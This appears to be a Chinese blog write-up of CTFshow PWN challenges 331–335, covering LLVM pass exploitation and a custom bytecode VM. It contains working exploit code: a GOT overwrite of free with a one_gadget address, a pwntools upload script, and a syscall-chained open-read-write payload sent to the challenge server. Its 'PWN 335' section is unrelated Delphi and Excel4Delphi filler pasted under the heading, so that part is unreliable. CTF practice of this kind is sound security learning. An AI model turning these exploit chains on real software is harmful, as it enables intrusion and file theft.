CTFshow LLVM PWN部分

PWN 331

运行即可拿flag

opt-8 -load ./LLVMHello.so -hello ./pwn.ll

ctfshow{llvm_pwn_is_v3ry_easy_aNd_v3ry_fuNny}

PWN 332 (LLVM-PWN)

分析:

image-20251122112700873

会调用sub_6AC0

image-20251122112724606

调用sub_6b80函数

image-20251122112805723

程序在开始的时候就会获取函数名,然后依次与后面的函数名匹配。

pop函数

image-20251122112918056

push函数

image-20251122112941281

store函数

image-20251122113005889

load函数

image-20251122113028681

add函数

image-20251122113057232

min函数

image-20251122113112740

思路:

  1. 先利用add函数向reg1中写入free_got
  2. 在利用load函数把reg1free_got中的free函数地址取出来放到reg2
  3. 再利用min函数和add函数计算出one_gadget的地址
  4. 利用store函数将reg2中的one_gadget写入 reg1中的free_got
  5. 最后结束时调用free函数执行我们的one_gadget

EXP:

笔者Ubuntu是20.04所以打本机是:

void store(int a);
void load(int a);
void add(int a,long long b);
void min(int a,long long b);


void o0o0o0o0(){
	add(1,0x785100);
	load(1);
	min(2,0x000000000009a6d0);
	add(2,0xe3afe);
	add(1,0x870);
	store(1);

}

image-20251122115912417

远程上传

void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);

void o0o0o0o0()
{
	add(1, 0x77E100);
	load(1);
	min(2, 0x9a6d0);
	add(2, 0xe3afe);
	add(1, 0x870);
	store(1);
}

from pwn import *
import sys
context.log_level='debug'

con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")

payload=f.read()

f.close()

payload2 = base64.b64encode(payload).decode('ascii')
con.sendlineafter("Send your code plz: ", payload2)

con.interactive()

PWN 333 (VM)

本题和LLVM应该没有关系,就是一个VM PWM

image-20251125105210002

保护全开

分析:

初始化

image-20251125105239113

题目在初始化的时候申请了一块空间,这块空间相当于

image-20251125105327620

这里就是读入我们的opcode

pop函数和push函数

image-20251125105540023

这里的 v19~v22相当于 rax,rdi,rsi,rdx 后面会分析到。

如上图 当 op6~9范围里就是调用pop函数,会根据op的值把now_mmap中的值pop到对应的v19~v22中。

如图:

image-20251125105905160

对于push函数则对应 op 1~5,会把 v18~v22的值压入now_mmap

image-20251125110200456

加法

image-20251125110242898

就是对now_mmap栈顶的值做加法

减法

image-20251125110303886

就是对now_mmap栈顶的值做减法

syscall

image-20251125110324865

这里时给syscall的调用函数,光看反汇编看不出什么,直接看汇编如下:

image-20251125110457478

如图就可以看到,这里的 rbp+var_28,rbp+var_20,rbp+var_18,rbp+var_10分别对应的就是v19 , v20 , v21 , v22

然后会依次对寄存器 rax , rdi ,rsi ,rdx赋值 并且在执行完 syscall 后 会把 rax的存放进 v18中

所以对于 op = 12来说操作如下:

  • rax == v19
  • rdi == v20
  • rsi == v21
  • rdx == v22
  • v18存放 syscall后 rax的值
压入我们输入的值

image-20251125111041894

这个函数就是压入我们输入的值。

思路

知识点: \#define __NR_brk 12 当我们调用brk()函数后会返回一个堆地址,这个堆地址就是堆结束地址。并且这个地址会放入rax中,这样我们可以通过对这个地址进行减去一定的偏移得到一个可以写入的地址,然后就能进行一系列操作

  1. 因为本题保护全开,我们很难泄露地址,但由于有syscall调用,所以我们先 syscall 12调用 brk后拿到一个堆地址
  2. 对改地址进行减法操作,拿到一个可以写入的堆地址
  3. 因为可以 调用sysall ,所以我们可以ORW,先调用 read函数向这个堆地址写入flag文件名
  4. 然后调用 open函数 打开这个文件
  5. 调用 read函数读取这个 文件
  6. 最后调用 write 输出flag

EXP

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')

pwnfile = "./pwn"
elf = ELF(pwnfile)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def push_imm(value):   #生成操作码0的指令,将8字节立即数压入栈
	return b"\x00"+p64(value)

def push_arg(value):	#操作码1-5的指令 push
	return p8(value)

def pop_arg(value):		#操作码6-9的指令 pop
	return p8(value)

def add_imm(value):
	return p8(10)+p64(value) 

def min_imm(value):
	return p8(11)+p64(value) 

def syscall():
	return p8(12)


def pwn():
	ru(b"Input your op code:")

	payload = push_imm(12)+pop_arg(6)		 	#rax == 12
	payload += push_imm(0x10000)+pop_arg(7) 	#rdi == 0x10000
	payload += push_imm(0)+pop_arg(8)			#rsi == 0
	payload += push_imm(0)+pop_arg(9)			#rdx == 0
	payload += syscall()						#syscall  brk(0x10000)

	payload += push_arg(1)				#call的返回值会放在rax中,op=12中call后会把rax (call_ret后面叫做target_addr)的值给v18

	payload += min_imm(0x1000)+pop_arg(8)	#rsi ==	target_addr ==call_ret - 0x1000
	payload += push_imm(0)+pop_arg(6)		#rax == 0
	payload += push_imm(0)+pop_arg(7)		#rdi == 0
	payload += push_imm(0x100)+pop_arg(9)	#rdx == 0x100
	payload += syscall()					#syscall read(0,target_addr,0x100)

	payload += push_arg(4)			#push rsi 
	payload += pop_arg(7)			#rdi == target_addr
	payload += push_imm(0)+pop_arg(8)	#rsi == 0
	payload += push_imm(0)+pop_arg(9)	#rdx == 0
	payload += push_imm(2)+pop_arg(6)	#rax == 2
	payload += syscall()			#syscall open(target_addr,0,0)

	payload += push_arg(3)		#push rdi
	payload += pop_arg(8)		#rsi == target_addr
	payload += push_arg(1)		#push rax (open_fd)
	payload += pop_arg(7)		#rdi == open_fd
	payload += push_imm(0x100)+pop_arg(9)		#rdx == 0x100
	payload += push_imm(0)+pop_arg(6)			#rax == 0
	payload += syscall()		#syscall read(open_fd,target_addr,0x100)

	payload += push_imm(1)+pop_arg(6)	#rax == 1
	payload += push_imm(1)+pop_arg(7)	#rdi == 1
	payload += syscall()			#write(1,target_addr,0x100)

	sl(payload)

	sl(b"ctfshow_flag\x00")

	
	itr()


if __name__ == "__main__":
	# while True:
		io = remote("pwn.challenge.ctf.show",28312)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()



调试

调用 brk 前

image-20251125112130419

调用brk后

image-20251125112212581

对该地址减去一定偏移(大小看自己设置),就能拿到可以写的堆地址

image-20251125112308340

后面就是正常的ORW了

PWN 334

CISCI 2021年原题,详细请看
LLVM PWN 入门(一)

EXP:

int save(char *a,char *b){return 0;};
int takeaway(char *a){return 0;};
void stealkey();
void fakekey(int d);
void run();

void B4ckDo0r(){
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");
	save("a","b");

	save("\x00","b");

	stealkey();
	fakekey(-0x2E19b4);
	run();
}


PWN 335

Delphi 12.3 作为一款面向 Windows 平台的集成开发环境,由 Embarcadero Technologies 负责其持续演进。该环境以 Object Pascal 语言为核心,并依托 Visual Component Library(VCL)框架,广泛应用于各类桌面软件、数据库系统及企业级解决方案的开发。在此生态中,Excel4Delphi 作为一个重要的社区开源项目,致力于搭建 Delphi 与 Microsoft Excel 之间的高效桥梁,使开发者能够在自研程序中直接调用 Excel 的文档处理、工作表管理、单元格操作及宏执行等功能。 该项目以库文件与组件包的形式提供,开发者将其集成至 Delphi 工程后,即可通过封装良好的接口实现对 Excel 的编程控制。具体功能涵盖创建与编辑工作簿、格式化单元格、批量导入导出数据,乃至执行内置公式与宏指令等高级操作。这一机制显著降低了在财务分析、报表自动生成、数据整理等场景中实现 Excel 功能集成的技术门槛,使开发者无需深入掌握 COM 编程或 Excel 底层 API 即可完成复杂任务。 使用 Excel4Delphi 需具备基础的 Delphi 编程知识,并对 Excel 对象模型有一定理解。实践中需注意不同 Excel 版本间的兼容性,并严格遵循项目文档进行环境配置与依赖部署。此外,操作过程中应遵循文件访问的最佳实践,例如确保目标文件未被独占锁定,并实施完整的异常处理机制,以防数据损毁或程序意外中断。 该项目的持续维护依赖于 Delphi 开发者社区的集体贡献,通过定期更新以适配新版开发环境与 Office 套件,并修复已发现的问题。对于需要深度融合 Excel 功能的 Delphi 应用而言,Excel4Delphi 提供了经过充分测试的可靠代码基础,使开发团队能更专注于业务逻辑与用户体验的优化,从而提升整体开发效率与软件质量。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值